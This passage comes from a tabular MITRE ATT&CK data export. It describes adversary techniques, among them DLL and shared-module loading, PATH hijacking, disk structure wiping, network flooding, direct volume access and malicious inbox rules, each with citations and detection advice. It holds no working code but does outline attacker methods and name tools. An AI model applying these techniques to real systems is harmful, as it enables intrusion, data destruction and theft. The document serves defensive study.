Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.
The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1129",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1129"
},
{
"description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
"external_id": null,
"source_name": "RotaJakiro 2021 netlab360 analysis",
"url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"
},
{
"description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.",
"external_id": null,
"source_name": "Apple Dev Dynamic Libraries",
"url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
},
{
"description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
"external_id": null,
"source_name": "Unit42 OceanLotus 2017",
"url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
},
{
"description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.",
"external_id": null,
"source_name": "Microsoft DLL",
"url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"
},
{
"description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.",
"external_id": null,
"source_name": "Linux Shared Libraries",
"url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths.
Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 2.2 |
attack-pattern | attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-19T23:46:13.931000Z" | "2022-04-19T21:32:58.274000Z" | Data from Configuration Repository | Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.
Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1602",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1602"
},
{
"description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
"url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
},
{
"description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT TA17-156A SNMP Abuse 2017",
"url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network"
] | 1.0 |
attack-pattern | attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T22:10:20.484000Z" | "2023-04-14T19:38:24.089000Z" | Disk Structure Wipe | Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.
On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)
To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1561.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1561/002"
},
{
"description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
"external_id": null,
"source_name": "format_cmd_cisco",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
},
{
"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Unit 42 Shamoon3 2018",
"url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
},
{
"description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
"external_id": null,
"source_name": "Palo Alto Shamoon Nov 2016",
"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
},
{
"description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
"external_id": null,
"source_name": "FireEye Shamoon Nov 2016",
"url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
},
{
"description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Kaspersky StoneDrill 2017",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
},
{
"description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
"external_id": null,
"source_name": "Microsoft Sysmon v6 May 2017",
"url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
},
{
"description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Symantec Shamoon 2012",
"url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.
For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.1 |
attack-pattern | attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-02T20:07:18.651000Z" | "2023-03-30T21:01:53.685000Z" | Direct Network Flood | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1498.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1498/001"
},
{
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"external_id": null,
"source_name": "Cisco DoSdetectNetflow",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
},
{
"description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
"external_id": null,
"source_name": "USNYAG IranianBotnet March 2016",
"url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
] | 1.3 |
attack-pattern | attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-13T14:10:43.424000Z" | "2023-10-03T03:29:57.078000Z" | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.
Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.
For example, on Windows if an adversary places a malicious program named "net.exe" in `C:\example path`, which by default precedes `C:\Windows\system32\net.exe` in the PATH environment variable, when "net" is executed from the command-line the `C:\example path` will be called instead of the system's legitimate executable at `C:\Windows\system32\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)
Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1574.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/007"
},
{
"description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "Elastic Rules macOS launchctl 2022",
"url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
},
{
"description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "ExpressVPN PATH env Windows 2021",
"url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
},
{
"description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "uptycs Fake POC linux malware 2023",
"url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
},
{
"description": "Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "nixCraft macOS PATH variables",
"url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 1.1 |
attack-pattern | attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-14T13:35:32.938000Z" | "2021-06-08T17:10:31.187000Z" | Sharepoint | Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1213.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213/002"
},
{
"description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
"external_id": null,
"source_name": "Microsoft SharePoint Logging",
"url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
| [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365"
] | 1.0 |
attack-pattern | attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:20.934000Z" | "2024-04-16T12:25:24.480000Z" | Direct Volume Access | Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1006"
},
{
"description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
"external_id": null,
"source_name": "Github PowerSploit Ninjacopy",
"url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
},
{
"description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
"external_id": null,
"source_name": "Hakobyan 2009",
"url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
},
{
"description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
"external_id": null,
"source_name": "LOLBAS Esentutl",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)
Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Network"
] | 2.2 |
attack-pattern | attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-11T13:37:31.836000Z" | "2024-04-15T23:49:14.558000Z" | Artificial Intelligence | Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)
For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1588.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/007"
},
{
"description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
"external_id": null,
"source_name": "MSFT-AI",
"url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
},
{
"description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024.",
"external_id": null,
"source_name": "OpenAI-CTI",
"url": "https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-06-07T13:20:23.767000Z" | "2023-10-16T16:41:53.957000Z" | Email Hiding Rules | Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/008"
},
{
"description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
"external_id": null,
"source_name": "MacOS Email Rules",
"url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
},
{
"description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.",
"external_id": null,
"source_name": "Microsoft BEC Campaign",
"url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
},
{
"description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "Microsoft Mail Flow Rules 2023",
"url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
},
{
"description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
"external_id": null,
"source_name": "Microsoft Inbox Rules",
"url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
},
{
"description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "Microsoft New-InboxRule",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
},
{
"description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "Microsoft Set-InboxRule",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
},
{
"description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "Microsoft Cloud App Security",
"url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.
On Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365",
"Linux",
"macOS",
"Google Workspace"
] | 1.3 |
attack-pattern | attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T14:34:08.496000Z" | "2022-03-25T19:34:37.539000Z" | External Defacement | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1491.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1491/002"
},
{
"description": "FireEye. (n.d.). Retrieved April 19, 2019.",
"external_id": null,
"source_name": "FireEye Cyber Threats to Media Industries",
"url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf"
},
{
"description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.",
"external_id": null,
"source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
"url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
},
{
"description": "Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.",
"external_id": null,
"source_name": "Anonymous Hackers Deface Russian Govt Site",
"url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/"
},
{
"description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.",
"external_id": null,
"source_name": "Trend Micro Deep Dive Into Defacement",
"url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS"
] | 1.2 |
